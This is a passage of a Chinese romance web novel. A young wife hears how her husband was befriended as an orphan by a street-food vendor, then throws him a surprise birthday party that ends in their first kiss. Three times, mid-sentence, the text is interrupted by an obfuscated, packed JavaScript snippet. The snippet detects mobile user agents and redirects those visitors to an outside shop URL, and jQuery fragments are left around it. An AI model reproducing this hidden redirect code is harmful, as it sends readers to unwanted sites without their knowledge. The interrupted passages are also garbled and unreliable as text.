郑诚以往都是直接上副驾，但是今天主动往后座去了，他妈跟他说今天梁嵛要带老婆来，刚才没好意思看，上了车才敢往副驾正式瞧了一眼。 怎么说呢，漂亮是真的，就很像上学时候男生喜欢又不敢说话，只会在旁边绕来绕去吸引注意力的那种女孩子，很乖，而且更神奇的是，她居然看着比他还小！原来梁哥喜欢这种？ 但不管心里多惊讶，郑诚还是老老实实叫：“嫂子。” 常妙忽地一噎，她之前也没问梁嵛张婶儿子多少岁，现在突然被一个跟自己貌似差不多大的男生叫嫂子，总感觉怪怪的。 “你……多大呀？”占了个“长辈”的身份，她想到就问了。 郑诚憨笑，“二十二，今年刚毕业。” 常妙抿唇，“……其实我也。” 两人不约而同将视线移向前方正在开车的某人…… 下车时，郑诚先走，梁嵛留意到郑诚离开前的眼神，转头问常妙，“他那是什么意思？”上下一扫，含着怀疑，像是他跟以前哪长得不一样了，需要重新认识一下。 常妙冲他挑眉，微风吹得她眯起眼，有种高深莫测的感觉，“可能觉得你，人面兽心吧。” 梁嵛一愣，倒是很容易理解这句话，之前常妙的朋友大概也是这么想的。 但跟常妙结婚这点，他从来没后悔过。 更何况，她也到法定年龄了。 不犯法。 38. 第 38 章 张婶家在三楼，郑诚上去先给汇报消息去了，等梁嵛和常妙两人到门口，防盗门大开着，就见张婶一家五口人在里面列成一纵队微笑着看着他们。 排在最前头的是张婶，她身材微胖，短头发，大约五十多岁的人了，跟同样年纪的方女士相比，两人给人的感觉明显不同。 归功于前几十年的保养，方女士的脸上至今没什么皱纹，岁月好像并没有给她留下什么残忍的痕迹，而张婶皮肤偏黑，脸上有常年日晒的斑点，手指圆粗有茧，能看出是多年劳作的人，但她对此好像并不介意，笑眼依旧弯着，眼角的鱼尾纹被抛去了它原有的作用，成了电灯泡散发出的那三道光，郑诚的眼睛应该就是遗传的她，神采奕奕。 张婶也是好久没见梁嵛了，但这次只是一扫而过，两人手里的东西由身后的郑叔和郑诚去拎，她一下逮住常妙，就开始新奇地打量。 “哎呀，快进来快进来，家里坐。” 常妙趁机给路过的长辈打招呼，走到郑奶奶旁边时，声音很大地叫了声奶奶，郑奶奶耳背倒是接受良好，其他人被这清脆洪亮的声音一下吸引了视线，尤其张婶，就站她旁边，下意识还捂了下耳朵。 常妙：“……” 这种尴尬的情况，常妙本能用眼睛去找熟悉的人，结果就看到梁嵛望着这边在笑她。 张婶看到小两口眼神打架，及时安抚，“哈哈，小姑娘中气真足！走，咱沙发上坐着去。” 客厅空间有限，一下要容纳七个人还是挺拥挤的，郑爷爷和郑奶奶在门口和梁嵛说了两句话就进里屋了，再过来的时候常妙身边已经没了位置，他就坐到了茶几旁边的小矮凳上。 两条大长腿现在只能蜷缩着，常妙心里有几分愉悦，让他笑她！ 张婶和常妙都是爱说话的人，但两个人碰一起，常妙就发现张婶比她厉害多了，她只是开了个头，问了问张婶现在身体感觉怎么样，她就自动讲起了在医院的事。 后来话题不可避免地转到常妙和梁嵛结婚的事，常妙经过之前多方的瞒报，现在已经整理出来一个比较完整的相识过程。 二人过去有过一面之缘，多年后久别重逢交换联系方式，在相处过程中发现性格相投，于是结婚。 张婶听的认真，梁嵛就不说了，像常妙这个年纪就愿意结婚的现在真的很少见，她不禁八卦问：“你们俩是谁追谁啊？” 常妙理直气壮，“他追的我。” 张婶咯咯笑，表情有点感叹，有点神奇，更多的是种认识的孩子出息了的感觉，“男人就是该主动点，你都不知道，我以前看他那闷葫芦的样子，多怕他长大找不到老婆。” 常妙眼睛一眨，“张婶，能再多说点吗，他小时候是什么样啊？” “他小时候啊……”张婶喝了口水卖关子，“跟现在其实也差不多，就是样子变了不少。” “当时他们福利院旁边有个小学，我和老郑就在门口摆摊卖炸串，小学管得严啊，隔一段时间就要清一波，我俩就只能到小学的侧边来，那正好就是他们那个福利院。” 不过那会儿福利院的围墙还不是如今用砖垒起来的高墙，而是主用铁栏杆围的，里外能穿透，张婶他们摆摊的位置正好能看见福利院的操场，但靠近围墙这边就比较偏了，角落处只有一片无人打理的半通透的花廊，能坐人的地方是一段段粗糙的水泥，而缠绕在顶部的紫藤萝因为过了季也只能看见胡乱生长的杂枝杂叶。 张婶也就是在这个时候遇见梁嵛的。 大约是体育课，操场上有一群孩子在疯跑，就他一个，安安静静地坐在花廊下看书。 刚开始，其实张婶没打算跟他说话，但是连着碰见几回后，她就忍不住叫了梁嵛一声。 小孩还挺乖，听见有人叫就把头转了过来，张婶这才看清了梁嵛长什么样。 总的来说，很瘦，夏天都穿的短袖，不合适的衣服套在他身上，露出一截麻杆似的手臂。 头发也偏长了，刘海垂在眼睛上面一点，配上他没什么表情的表情，乍眼看上去会显得有些阴郁。 张婶也是这么想的。 她文化水平不高，小学毕业，福利院她来说是个“传闻”中的地方，只知道里面都是各种原因被人遗弃的孤儿，可最近在这边摆摊，她发现这些孩子不仅是孤儿这么简单，里面有一部分是有病的，例如斜眼，或者腿脚发育不良成跛子的。 她不懂那些专业名词，只是恍然有一个意识，或许不止是一小部分，更多的都在楼里不能出来，所以在这里，她本能地以为梁嵛可能也是有什么病的，听说有个病叫自闭症，貌似还挺符合。 但如果不是小孩在她沉默时候，还一直用那双认真等待的眼神看着她，等她说话的话…… 张婶：“你好呀，小朋友。” 她亲切地打了个招呼。 过了会儿，梁嵛也低低出声，“你好。” 这让张婶感觉很神奇，以至于后来再碰见的时候，她胆子就更大了，直接招了招手，让人过来。 梁嵛小时候是真听话，看了她一眼，真迈着一双小短腿过来了。 才到大腿的小矮个站在墙根底下，张婶看的既可爱又心疼，转头让郑叔炸了一把串，有菜有肉，从围栏外头递给了梁嵛。 “呐，给你吃的，我家用的油都是好油，干净卫生，你吃吧。” 梁嵛猝不及防，他从来没见过这样拿棍棍串起来的吃的，平时吃饭都是一个大盘子，然后食堂的阿姨给打菜，素的偏多，而且，不是每一天都能吃饱。 油炸的东西好像向来都比那些普通的炒菜要香，他不由自主就咽了口口水。 小学那边还没下课，张婶拿了把椅子坐在围栏这，她自认为她的手艺挺不错的，基本每天下午小学校里的学生走光了，他们摊位上的东西也能卖个差不多，但瞧见这小孩盯着手里的炸串半天不动，她有些奇怪，“怎么不吃啊？” 梁嵛：“我没钱给你。” “你还知道吃东西要给钱啊？”张婶稀奇笑，“但是我不用，这是请你吃的。” 梁嵛眨了下眼睛，语气真挚，“谢谢。” 自从这次起，只要张婶在这边摆摊能碰见梁嵛，都会给他一把炸串让他吃，但这孩子不知道是腼腆还是怎么，做什么都安安静静的，吃东西也不像别的小孩狼吞虎咽，一口一口吃的特别认真。 有时候张婶也怕偷偷投喂会被福利院的老师发现啊，就让他吃快点，他就说福利院的老师不会管。 真正需要照顾的孩子太多了，像他这种每次点到都在场的，老师不会放太多关注。 - 隔了一周再来。 张婶发现梁嵛这回居然主动跑到墙根这边望她了，摆摊的工作交给郑叔，她搬了个凳子继续坐到老位置。 逗孩子的活儿她很擅长，加上她今天心情不错，摸了把小孩脑袋就乐呵呵地说：“怎么，想我啦？” 梁嵛彼时似乎在她的加餐下稍微胖了点，又好像没有，但一双黑亮的眼睛还是跟以前一样安静地望着她。 “张婶，你……”他顿了下，转问，“你看起来怎么这么开心？” 张婶：“因为知道了一个好消息啊。” 这一周他们没碰见梁嵛，不是因为换了摆摊位置，而是去了医院。 “什么好消息？” “张婶要有宝宝啦！” 梁嵛知道这句话的意思，他抓着身前的两根栏杆，沉默了会儿，仰起头说：“张婶，我觉得你会是一个好妈妈。” 张婶倏地一愣，本来只是想分享一件她认为很喜悦的事情，但小孩说话时的表情认真又真诚，让她突然有些愧疚，这是不是不该跟他说。 她笑着应了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336434|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，正琢磨着要换个什么话题，梁嵛望着她开口，“张婶，我再过不久就不在这了。” “为什么？”张婶诧异，想了想，“是有人要领养你了吗？” “不是，是要去上学了。” 张婶也是这时候才知道，福利院每年都会让适龄的孩子出去到市内的小学去上学，但也有些离不开的，就在福利院里面自己学。 “上学是件好事啊，你以后可要好好读书，以后考个好大学。” 梁嵛：“这很重要吗？” 张婶：“当然重要啊！知识改变命运听过没有？你不好好学习，以后怎么找工作，找老婆？” 梁嵛懵懵的，显然没听懂。 孩子太小，还不懂这些，但看在这段缘分的份儿上，也有可能是马上要为人母，她忍不住多叨叨他两句，“人啊，一辈子就干三样事，上学、工作、结婚……” 梁嵛打断，“为什么就干三样，不多干几样？” 张婶没好气，“你能干你就多干呗，但光我说的这三样就复杂的很呢！尤其是结婚，别的你自己努努力还能行，结婚一个人可不成，你郑叔也是好运气碰上我了，不然你看他现在是不是还打光棍。” 梁嵛于是瞅了眼郑叔，心里默默消化理解，殊不知张婶此刻也在瞅他。 虽说女大十八变吧，但男的也差不多，这小孩乖巧归乖巧，但不是那种会来事的孩子，这么久了也没怎么见他笑过，看书的时候还爱皱眉，问起问题来也是一脸正经，小小年纪像个老学究，张婶几乎都能想象到他未来会是个什么古板样，说不定恋爱都不会谈。 “小孩，你以后想找个什么样的老婆啊？” 张婶随意跟他聊着天。 梁嵛：“老婆是做什么的？” 张婶：“就像我跟你郑叔，我就是他老婆，互相陪伴，老了以后也互相作伴。” 梁嵛：“那我想她能陪着我就好。” 张婶心里一软，“可人家姑娘也不能白跟你啊，你得对人家好。” 梁嵛：“我会对她好的。” 张婶摇头，“那首先你要有经济能力，你得找个好工作挣钱啊。而且婚后的所有东西都是一人一半，你们得共同分担，这个家才会更和谐。” 梁嵛这时又瞅了眼郑叔，郑叔就坐在不远处的摊位前，每次开摊前的准备工作都很多，但好像每次还是郑叔动手的多。 发现小孩脸上的困惑，张婶淡定说：“那是他乐意，怕我这么好的媳妇跑了，他连家底都压我这了。” “这样吗？” “可不是！” …… 两个月很快过去，而因为小学放暑假，这边没有生意可做，所以那天之后，张婶的炸串摊也只摆了半个月，原还数着日子，两人能说个再见，但谁知道最后，梁嵛却再没出现过了。 回忆起这些，张婶的脸上颇多感慨，“不过后来，过了有好多年，他上高中的时候又经过小学，我们又见着了，你说这，巧不巧？隔了那么久啊，记忆里还是个不点大的小矮个，结果再见面长得比我都高，我当时都吓了一跳。” 常妙能想象当时的场景，她笑着点头，“是很巧，这说明他跟你们是有缘分的。” 不知道什么时候停止聊天的郑叔望着这边也忍不住说：“当时他张婶还让我没事的时候往福利院那边走一走，想着能不能再碰上小梁，她买了身衣服想送给他，最后也没给成。” 常妙：“那衣服现在还在吗？” 张婶胳膊一捅旁边跟着听起故事来的郑诚，一脸嫌弃，“给这倒霉蛋穿了，小时候淘，有次回老家的时候掉茅坑了，那身衣服也报废了。” 梁嵛：“……” 常妙：“……” 痛苦的回忆袭来，郑诚扔下吃了一半的苹果，“妈，我去趟厕所。” “……洗手！” 39. 第 39 章 晚饭就没在张婶家吃了，回程路远，等到家估计天也黑了，家里的冰箱里还有之前冻的手工饺子，两人商量着把那个吃了，不然冻久了，再煮容易烂掉。 耳边有很久都听不见某人说话的声音，梁嵛不习惯，从后视镜看副驾，常妙没睡，就是靠在车窗上望着外面发呆。 他想了下，直接问：“怎么了，在想什么？” 常妙回神，“没什么，就是今天收获的信息量很大，正在消化。” 梁嵛：“你是指张婶说的那些？” 常妙：“是啊，感觉我好像更了解你了些。” 梁嵛嗯了声，过了会儿，低沉的声音再次开口：“那你了解之后有什么想法？” 什么想法…… 常妙挑眉，对她来讲，可能就是之前一直疑惑的一个事情有了答案吧。 之前她一直不明白梁嵛的行为逻辑，但听完张婶的话后，她才发现原来答案很简单。 他只是不会而已。 一个人在这世上无所依靠地活着一定是件很难的事，他可以循着这世间的大规则去学习，去挣钱，努力地让自己长大，但除此之外的一些生活道理，没有人去教他，以至童年时期偶然遇见的张婶对他说的几句，在她听来其实明显含着几分逗小孩的话，都能奉若圭臬，毫不质疑。 该说他傻吗，常妙笑了笑，看向他道：“听张婶说的，你小时候应该是个乖宝宝，有照片吗，我想看看。” 梁嵛不禁瞥她一眼，“乖宝宝”这个形容词实在不适合放到现在他这么大个男人身上，他面色有些怪异，但还是说：“有几张，毕业照的那种，你想看的话我回去找一找。” 常妙：“好啊，毕业照正好，可以看看你从小到大的样子。” 梁嵛动了下唇，他握紧方向盘，专注看着前方车道，“嗯。” - 车开到小区门口的时候，常妙手机突然响了起来，她跟那边说了几句就迅速挂掉。 这时候车已经沿着下坡往地下停车场开，她无法，让梁嵛到电梯那停下，他再慢慢去找位子停车。 “我有个快递到了，得当面签收，就先上去了啊。” 常妙有些急，匆匆忙忙解了安全带下车，然而梁嵛正要重新发动，就看见她绕过车头又回来，示意降下车窗。 “还有件事。”可能是跑了几步，常妙脸颊有点红红的，“家里卫生纸没了，你要不待会儿去小区的便利店买一包回来吧。” 梁嵛略思索，“你在柜子里看看，里面我记得还有一包没拆的。” 常妙弯着腰，指甲在裙角扣来扣去，她沉住气，表情尽可能严肃，“好吧，其实我是想让你帮我带一包卫生巾……我那个来了……” 梁嵛：“可你日子不是还有一周？” 常妙愣住。 他怎么什么都知道！ “那我提前了呀，肚子疼，你就帮我跑一趟嘛~” 说谎于她真的不是一件能轻松拿捏的事情，她着急想梁嵛答应，又害怕解释太多，只好选择撒娇耍赖的方式，企图让对方先缴械投降。 以前她这样，妈妈和舅舅通常都会坚持不住同意的。 眨巴眼盯他两秒，两人沉默对视，就当常妙以为梁嵛心比石硬，不会有什么反应的时候，他忽然移开视线，微不可查地轻吸了口气，开始叮嘱，“好了，我去买，你快上去吧。难受就去床上眯一会儿，晚饭做好我叫你。” 常妙这下满意了，压着眼底的愉悦，点点头，“嗯嗯！” 看着车开走后，常妙转身立马去按电梯，运气好，正巧有人下来。 升至17层，电梯门打开，送外卖的小哥就在门口站着。 “您好，是您的蛋糕吗？” 常妙：“对，尾号是XXXX。” 小哥核对好，把蛋糕递给常妙，六寸的大小，两个人吃正合适，还能给明天余一块出来当零食，常妙检查了下包装，小心护好，小哥下去后，她也按密码，进了屋。 拖鞋是胡乱换的，常妙蹬了腿就跑，原本按计划，蛋糕起码要半个小时后才送到，那个点梁嵛一般在厨房，他习惯每次做完饭都要里里外外把厨房打扫一遍，完事之后还要洗澡，到时候，她可以借着扔垃圾的由头，偷偷出门把蛋糕取回来放进书房。 书房现在多数都被她占着，不怕他发现。 结果今天失算，蛋糕给送早了，书房她也什么都没来得及布置，只能让梁嵛再跑趟便利店争取时间。 心跳得砰砰的，外面太阳彻底落下去了，室内光线昏暗，常妙一路直冲书房，绕过桌子的时候脚趾不慎被撞了一下，钝痛感让四肢发麻，她倒吸一口气，就地就蹲下从角落里翻找出前几天买的气氛组装饰。 银色的字母气球拼写出大大的两行“happybirthday”，常妙见过成品图，绝对华丽漂亮，但她现在突然有些后悔，其实彩旗的那种也挺好啊……还更便宜！ 这吹气得吹到什么时候？ 她不会成为第一个给人过生日，结果因为吹气球缺氧晕倒而导致生日惊喜变惊吓的小废物吧呜呜！ - 梁嵛这是第二次踏足这片女性用品区域。 之前在他仔细地询问下，常妙对卫生巾的各种区别给他解释的很清楚，他现在已经完全知道了应该怎么挑选，甚至也不用挑，常妙基本只用那一个牌子，他日用夜用各拿两包就可以。 余光扫到边上的安睡裤时，梁嵛想了下，也拿了两包，总要用的。 柜台结账的是个小姐姐，现在男朋友帮女朋友买卫生巾的情况一个月总能碰上那么几回，但像面前这位先生买的这么全面的还是第一个。 她利落地扫码，准备装袋时多问了一句，“先生，没有黑袋子，透明的可以吗？” 梁嵛点头，“没事。” 回到家时，梁嵛首先注意到鞋柜这边被常妙踢的东倒西歪的鞋子，他换完鞋，俯身摆好，进屋时，客厅没人，主卧的门关着，他估计是睡了，也没打扰她，转身去厨房准备晚上的饭。 饺子下起来很快，梁嵛不着急弄这个，找了个小锅，放了几片姜，小火煮着。 今天去张婶家，走的时候张婶还给他拿了一袋子枣和干核桃，说是自己家里种的，梁嵛从红枣里挑了几个肉厚饱满的，冲洗后，去核，也放进去煮着。 红糖姜茶需要时间，梁嵛在客厅里坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352774|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来。 以前他一个人在家的时候只会开一个灯，就书房的那个台灯，小小一盏，仅供一室光亮，所以通常家里一到晚上，基本都是黑的，如果从外面看，很可能会认为这个家里根本没人。 有一次，楼上“发大水”，房主主动找下来想看看有没有漏到楼下，第一个找的还是物业，那会儿是梁嵛刚搬过来两个月，早出晚归，楼上的邻居根本没见过他，直到被物业引着见了面才确认这是间有人住的屋子。 不过自从常妙住进来以后，这个问题好像就没有了。 天黑灯会准时亮起，白天屋子里也有声音，对面的那一家三口也认识她了，知道两人结了婚，是一对新婚的年轻夫妻。 梁嵛浅垂着眼，缓缓摩挲着无名指的戒指，脸上的神色无意识地变得温柔。 过了会儿，他突然起身，两条大长腿迈步往书房的方向走去。 常妙说想看他的照片，他记得是收在书房了。 然而接下来的事情梁嵛毫无准备，随着门被推开的一霎，明亮的光线穿过缝隙照在他的身上，他尚未来得及看清房间里的事物，有什么在眼前一晃，随即他的怀里猛地撞进来一个人，眼镜同时被两只细嫩的手严丝合缝地捂住。 “啊……痛痛痛痛……” 梁嵛也闷哼一声，他听见声音，侧头，愕然，“妙妙？” 常妙垂着脑袋大喘气，更觉得脑子晕坏了！ 正深呼吸着想缓一缓，注意到梁嵛似乎要拉她胳膊，忙呵止：“别动！” 梁嵛只好放下手，由她捂着，他根本不知道发生了什么，常妙在这完全就是个意外，顿了几秒，他才不解询问：“你不是说肚子疼吗，怎么跑到书房来了？” 常妙忽地仰头看他，虽然一半脸被她盖着，但她已经在脑海里想象出梁嵛会是怎样一副认真的表情问出这句话。 她笑，“当然是骗你的，怎么那么容易相信人呀你！” 梁嵛哑然，“……是你说话时的表情太认真了。” 常妙：“吼，那怪我咯？”可她演技明明那么差。 梁嵛：“不怪你。不过，为什么骗我？” “因为……”常妙眼珠一转，有些可怜巴巴地说，“我不小心把你的平板弄坏了，快递就是新买的，所以要马上过来‘毁尸灭迹’‘偷梁换柱’啊。” 梁嵛：“我又不会骂你，藏着干什么？坏了可以先修，买个新的不划算。” 过了会儿，他微蹙眉，“新的你没拆封吧？” 常妙歪头，咬着唇没控制住，直接笑出声，“哈哈哈，还说不好骗！” 梁嵛：“……” 常妙：“好啦，其实是有个惊喜给你，你先出去，一会儿我叫你再进来。” 梁嵛似乎还想问，但常妙霸道地权当他默认，覆在他脸上的手微微用力，示意人往后退，梁嵛看不见，只能一边摸着墙确认方向，一边虚扶着常妙的一片肩膀。 等人完全退出去了，常妙砰的一声关上门。 但也就几秒钟的时间，门内传来她的声音。 “开门吧！” 梁嵛依言推门。 而门后的场景，梁嵛此生难忘。 40. 第 40 章 屋里灯关了，莹亮的碎光属于墙面四周悬挂的星星灯。 原本正对的书架上，错落粘着两排大大的生日快乐的英文字母，两串卡通彩旗一左一右地倾斜环绕。 蓝色和白色的气球铺了满地，甚至还有几个样式更为特别的，像是落地灯一样的气球在书房的中央围成一个圈，而常妙捧着蛋糕就站在里面笑吟吟地望着他。 梁嵛震惊，似乎这一刻除了用一双眼睛去定定看着这一幕，他再也做不了其他的。 常妙对他的反应非常满意，小小耸了下肩膀，开始鼓足劲唱歌。 “祝你生日快乐~祝你生日快乐~~” 梁嵛很快意识到，今天确实是自己的生日，可他基本不过，也根本想不到会有一天，有一个人，这样为他庆祝。 随着歌声进入尾声，常妙也走到了梁嵛的面前，一曲终了，她顶着一个非常骄傲的小表情，朝梁嵛扬了扬下巴，“许个愿，吹蜡烛吧，寿星公！” 梁嵛：“妙妙……” 常妙：“先许愿！” 梁嵛只好闭上眼睛。 过了一会儿，他睁眼，俯身吹灭蜡烛。 最重要的步骤做完了，常妙贴心地不去问他的愿望。 不开灯并不代表就是一片黑暗，周围有星星点点的光，让她可以足够清楚地看到梁嵛望着她的眼睛，没有任何攻击力，但却一点一点地将她包裹住。 常妙睫毛扑闪两下，然后才迎上去，“生日快乐呀，阿嵛。” 梁嵛喉咙动了下，蛋糕被捧在两人中间，他鼻尖有阵阵香甜的气息，“这些都是你刚才上来准备的？” 下午去张婶家的时候，他确定书房还没有这些。 提起这个，常妙可有的说了，她重重点头，“当然啦，你都不知道我一个人吹这么多气球吹得都快晕过去了！” 梁嵛：“商家不给打气筒吗？” 常妙：“给了，结果打了一半坏了，最后全是我吹的。” 梁嵛沉默片刻，但最后只能认真地说出两个字。 “谢谢。” 常妙：“还没完呢，蛋糕你帮我拿一下。” 梁嵛接过，然后惯性的思维让他选择了更有逻辑的行动方式，他接过来，越过常妙放在了桌子上。 常妙猝不及防，两只手放在背后，忙面朝着他往旁边蹦了起来。 随着她落地，下一秒，她的背后也砰的也有个什么落地的声音。 常妙：“……” 梁嵛收到她指责的眼神，默默站直了，装没看到。 没办法，既然已经暴露了，常妙就不藏了，她捡起掉在地上的礼品袋，递给梁嵛，“呐，这个是生日礼物。” 礼品袋的挂绳上有段胶带，想来是她刚才想要制造第二惊喜用胶带粘在衣服上的。 梁嵛真不知道该说什么好，哪怕是他这种性子……可能也正是因为这种性子，某一天突然被这么用心地对待，才会愈发无措。 他借着星光看她，“这是什么，现在能打开吗？” 常妙：“打开呀，看看喜不喜欢。” 梁嵛于是取出来，里面是个方方的盒子，他平时对这些时装品牌没怎么关注过，只能看出包装很精美，应当不便宜。 常妙及时补充，“能力范围内，放心。” 梁嵛这才开了盖子。 是一条男士领带。 黑灰底色，低明度的斜纹稳重低调，真丝的材质手感很好。 常妙：“怎么样，你喜欢吗？虽然你平时不常穿西装，但是我当时一看到这个就觉得跟你特别配！而且你衣柜里不是一直备着几套西装吗，我想应该你们公司也是有这个需求在的，所以，应该还算实用吧？你觉得怎么样？” 常妙反复确认着梁嵛的心意，其实当时选礼物的时候她很纠结，理论上送更加实用的东西应该更符合梁嵛对礼物的期待，但是谁让她看见这个了呢，真的很好看，她一看见就能想象出梁嵛戴这个的样子，所以当时人都出去了，后来又转回来买了下来。 不过，这是她的想法，不知道梁嵛怎么想，只能先给他用狂轰乱炸的夸夸催眠一番。 “对了对了，你看这个颜色，黑色最不用费心了，你柜子里的西装都能搭！不用担心会落灰，而且你长得好，个子也高，这种低调稳重还有细节的款正符合你的气质，戴上一定很衬人，下次……” 梁嵛掀起眸看她，“下次什么，怎么不说了？” 常妙咬了下唇，“你干嘛突然笑啊？” 梁嵛：“我笑了吗？” 常妙：“你自己摸摸嘴角，看你笑没笑。” 于是常妙就眼睁睁看着对面的这人抬手用指腹在她的嘴角轻轻划了一道小小的弧线，停在下唇中央。 她震惊极了，脸腾地红了起来，“我是让你摸你自己的！” 梁嵛无可无不可地低低嗯了声，脸上那正经的表情好像刚才那暧昧的动作不是他做的一样。 常妙莫名有几分紧张，她轻轻呼吸了下，视线往旁边放去。 书房的门不知道什么时候关上了，也可能没关上，有一道缝隙透着客厅的光，墙上的星星灯有一个好像坏了，一闪一闪的，她想着要不要后面修一修，平时这么挂着还挺好看的。 “妙妙。” “干嘛……” “谢谢你今天给我过生日，也谢谢你的礼物，我很喜欢。” 得到肯定，努力不白费，常妙一眨眼，立马又开心了。 梁嵛：“但是，我还有个疑惑想你解答。” 常妙：“什么？” 梁嵛：“你对我的感觉，我没有猜错，对吗？” 常妙沉默了好一会儿，像是内心忽略已久的小地雷又被这人精准踩到了，咬牙说：“是啊，没！猜！错！”最后三个字她凶巴巴的，“女孩子不好意思时偶尔说两句违心的话，谁知道你会当真啊，而且，你为什么不想想，我是随随便便就会亲人的吗？” 小姑娘的怨气梁嵛感受到了，他低下头，只得道歉，“我错了，以后我会聪明点的。” 常妙瞥他一眼，“现在是认错的时候？” 梁嵛抬眉，难道不该吗？ 常妙欲言又止。 半晌。 哎，真不中用！ 常妙走近一步，伸手拉下他的脖子，准确无误地在他唇上亲了一下。 啵的一声。 比上次响多了……在寂静的房间里震耳欲聋。 常妙愣住，这就有点羞耻了哈！！ 她急急想退，梁嵛却及时扣住她的两只手腕带她放了回去。 这样的动作，两人不得不拉近，梁嵛俯身，干脆将人抱起放在了书桌上，但桌子上原本是放着东西的，就算他推远了，可供常妙坐的也就那么宽，她不自在地动了下腿，会碰到梁嵛的，她手指无意识收紧，指缝又会钻入他的头发。 前不能，退不得，常妙想跟梁嵛打个商量能不能别坐这，但刚抬起头，就正正迎上了他落下来的吻。 然后，久久未动。 常妙等了等，颤着睫睁眼，就听到梁嵛低声问她：“是这样吗？” 说完，他又碰了碰，灼热的呼吸纠缠在两人的唇间，但这种程度的吻，哪怕多来几次也依旧纯洁得要命。 常妙看过电视剧里的接吻，他们的，可能连浅尝辄止也算不上，像是成人版的小孩子过家家。 但，第一次嘛，总要给予鼓励，她滑下胳膊，给他比了个大拇指，“对，你做的很对！” 梁嵛放心了，再次啄吻上去，开始的不得其道，终于在常妙一次偶然的张唇后得到启发。 他错误地咬住那瓣唇，用牙齿轻轻摩挲，柔软的触感提示着他应当温柔对待，他放轻力度，可它依旧不可思议地化成水逃走，他试图安抚，又试图叫它无处可逃，浅浅的吮吻一点一点地落在常妙红唇的每一处，同时他的手撑在常妙的后颈，引着她抬头。 梁嵛吻得并不急躁，像是春天的云初逢新生的嫩叶，下了一场蒙蒙雨，这样的吻常妙觉得可能算不得吻技高超，但她很喜欢。 常妙随着动作趁机轻吸一口气，纤细的脖颈伸出一道优美的弧线，梁嵛带着薄茧的指腹在她白皙的肌肤擦下一点红痕，能感觉轻微的刺痛，伴随着头脑的轻眩却只让人后脊发麻。 不远处的手机亮了又灭，常妙注意到的时候已经是第二次响起来了，她尝试推开梁嵛，他却拥紧她，忽然变得不讲理起来，几乎就要倒在桌上时，常妙终于狠下心咬了他一口，他才舍得放开。 “手机……” 来不及为自己奇怪的声音感到震惊，常妙跳下桌子想拿放在架子上的手机，结果刚着地，腿一软，差点没跪下去，幸好被梁嵛捞了起来。 “你别动，我去。” 梁嵛将她抱回桌上坐好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368288|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，自己去拿了手机给她，常妙看见来电显示的名字，心里一跳，忙清了清嗓子，接起电话。 “喂，妈妈！” 方沉兰都准备挂了，突然冒出声音，她愣了下才放到耳边，“妙妙，你在忙吗，怎么这么久才接？” 常妙下意识看向对面的人，梁嵛见她看他，长眉轻抬，是询问的意思，架在高挺鼻梁上的银边镜冰冰冷冷，显得他和平日那张严肃板正的脸没什么不同，偏偏唇周都是她的口红……常妙没眼看，点点自己嘴巴示意，然后推开他，小跑去了客厅。 客厅开着空调，她身上未解的热一下子舒缓许多，常妙看了眼身后，梁嵛没多会儿端着蛋糕也出来了，嘴上不知道擦了还是没擦，看着还是有一圈淡淡的红。 常妙不管了，飞快移开视线，转头摸着耳朵回答方沉兰说：“不忙，我刚洗澡呢，才出来。” “哦。”方沉兰笑，“我就说你这个点应该没事，对了，有个事问问你，你这个月什么时候回来啊？” 常妙虽然搬出来住了，但说好每个月都会回去吃顿饭，她想了下，“月底吧，我到时候提前跟你说。” 方沉兰：“行，最近天气不错，咱们还能一块去公园转转拍个照。” 又小聊了一会儿，方程南到家，听见姐姐跟外甥女儿打电话，也拿过来说了两句，常妙家里氛围一直不错，最后互相叮嘱了半天，终于挂了电话。 没了她说话的声音，客厅一下安静下来。 常妙的注意力重新回到身旁的人身上，后知后觉地感觉到了一种和喜欢的人第一次亲近后的羞涩和尴尬。 手里搅着张纸巾，是她刚才打电话时偷偷擦的晕掉的口红，梁嵛有，她肯定也有。 “那个……唔。” 常妙刚开口，嘴里就被人喂进来一口蛋糕，浓郁的奶油香瞬间充满整个口腔，她呆了呆，看向梁嵛。 梁嵛跟她并排坐着，肩膀只要稍稍倾斜就能碰到她的，“好吃吗？过生日，你还没吃蛋糕。” 常妙咽下嘴里的，准备说话，一抬头，突然发现梁嵛眼神一错不错地盯着她的唇，那种陌生的、不克制的、琢磨着把什么吞吃入肚的模样，叫她脑子里的某根弦拉紧，立刻用双手捂住嘴巴。 “是你过生日。”她打开，又关上，一个字不提刚才的事。 梁嵛收回目光，冷静的神色好像又回到了平时，他示意让她看桌上，有一个被刮得干干净净的纸盘子。 可这时候，面前又悄然升起一个勺子。 梁嵛：“啊。” 